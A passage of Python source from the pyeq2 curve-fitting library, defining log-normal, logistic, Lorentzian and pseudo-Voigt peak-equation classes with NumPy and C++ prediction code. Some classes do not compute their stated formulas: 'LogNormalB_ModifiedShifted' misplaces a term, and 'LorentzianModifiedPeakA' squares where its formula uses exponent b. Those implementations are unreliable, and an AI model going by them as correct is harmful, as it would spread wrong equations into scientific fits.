baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False independentData1CannotContainBothPositiveAndNegativeFlag = True def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.power(numpy.log(x_in/b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log(x_in/b) / c, d));\n" return s class LogNormalA_ModifiedShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak A Modified Shifted" _HTML = 'y = a * exp(-0.5 * ((ln(x-f)-b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] try: temp = a * numpy.exp(-0.5 * numpy.power((numpy.log(x_in-f)-b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((log(x_in-f)-b) / c, d));\n" return s class LogNormalB_ModifiedShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak B Modified Shifted" _HTML = 'y = a * exp(-0.5 * (ln((x-f)/b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] try: temp = a * numpy.exp(-0.5 * numpy.power(numpy.log((x_in-f)/b)-b / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log((x_in-f)/b)-b / c, d));\n" return s class LogisticPeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Logistic Peak" _HTML = 'y = 4a * exp(-1.0 * (x-b) / c) / (1.0 + exp(-1.0 * (x-b) / c))<sup>2</sup>' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = 4.0 * a * numpy.exp(-1.0 * (x_in - b) / c) / numpy.square(1.0 + numpy.exp(-1.0 * (x_in - b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 4.0 * a * exp(-1.0 * (x_in - b) / c) / pow(1.0 + exp(-1.0 * (x_in - b) / c), 2.0);\n" return s class LogisticArea(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Logistic Area" _HTML = 'y = a * exp(-1.0 * (x-b) / c) / (c * (1.0 + exp(-1.0 * (x-b) / c))<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-1.0 * (x_in - b) / c) / (c * numpy.square(1.0 + numpy.exp(-1.0 * (x_in - b) / c))) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-1.0 * (x_in - b) / c) / (c * pow(1.0 + exp(-1.0 * (x_in - b) / c), 2.0));\n" return s class LorentzianModifiedPeakA(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak A" _HTML = 'y = 1.0 / (1.0 + (x-a)<sup>b</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = 1.0 / (1.0 + numpy.square(x_in-a)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (1.0 + pow(x_in-a, 2.0));\n" return s class LorentzianModifiedPeakB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak B" _HTML = 'y = 1.0 / (a + (x-b)<sup>c</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = 1.0 / (a + numpy.power(x_in-b, c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (a + pow(x_in-b, c));\n" return s class LorentzianModifiedPeakC(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak C" _HTML = 'y = a / (b + (x-c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a/ (b + numpy.power(x_in-c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a/ (b + pow(x_in-c, d));\n" return s class LorentzianModifiedPeakD(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak D" _HTML = 'y = 1.0 / (1.0 + ((x-a)/b)<sup>c</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = 1.0 / (1.0 + numpy.power((x_in-a) / b, c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (1.0 + pow((x_in-a) / b, c));\n" return s class LorentzianModifiedPeakE(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak E" _HTML = 'y = 1.0 / (a + ((x-b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = 1.0 / (a + numpy.power((x_in-b)/c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (a + pow((x_in-b)/c, d));\n" return s class LorentzianModifiedPeakF(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak F" _HTML = 'y = a / (b + ((x-c)/d)<sup>f</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] try: temp = a / (b + numpy.power((x_in-c)/d, f)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a / (b + pow((x_in-c)/d, f));\n" return s class LorentzianModifiedPeakG(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Modified Peak G" _HTML = 'y = a / (1.0 + ((x-b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a / (1.0 + numpy.power((x_in-b)/c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a / (1.0 + pow((x_in-b)/c, d));\n" return s class LorentzianPeakA(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak A" _HTML = 'y = 1.0 / (1.0 + (x-a)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] try: temp = 1.0 / (1.0 + numpy.square(x_in-a)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (1.0 + pow(x_in-a, 2.0));\n" return s class LorentzianPeakB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak B" _HTML = 'y = 1.0 / (a + (x-b)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = 1.0 / (a + numpy.square(x_in-b)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (a + pow(x_in-b, 2.0));\n" return s class LorentzianPeakC(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak C" _HTML = 'y = a / (b + (x-c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a/ (b + numpy.square(x_in-c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a/ (b + pow(x_in-c, 2.0));\n" return s class LorentzianPeakD(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak D" _HTML = 'y = 1.0 / (1.0 + ((x-a)/b)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = 1.0 / (1.0 + numpy.square((x_in-a) / b)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (1.0 + pow((x_in-a) / b, 2.0));\n" return s class LorentzianPeakE(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak E" _HTML = 'y = 1.0 / (a + ((x-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = 1.0 / (a + numpy.square((x_in-b)/c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 1.0 / (a + pow((x_in-b)/c, 2.0));\n" return s class LorentzianPeakF(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak F" _HTML = 'y = a / (b + ((x-c)/d)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a/ (b + numpy.square((x_in-c)/d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a/ (b + pow((x_in-c)/d, 2.0));\n" return s class LorentzianPeakG(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Lorentzian Peak G" _HTML = 'y = a / (1.0 + ((x-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a/ (1.0 + numpy.square((x_in-b)/c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a/ (1.0 + pow((x_in-b)/c, 2.0));\n" return s class PseudoVoight(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Pseudo-Voight Peak" _HTML = 'y = a * (d * (1/(1+((x-b)/c)<sup>2</sup>)) + (1-d) * exp(-0.5 * ((x-b)/c)<sup>2</sup>))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = numpy.square((x_in-b) / c) temp = a * (d * (1.0 / (1.0 + temp)) + (1.0-d) * numpy.exp(-0.5 * temp)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def 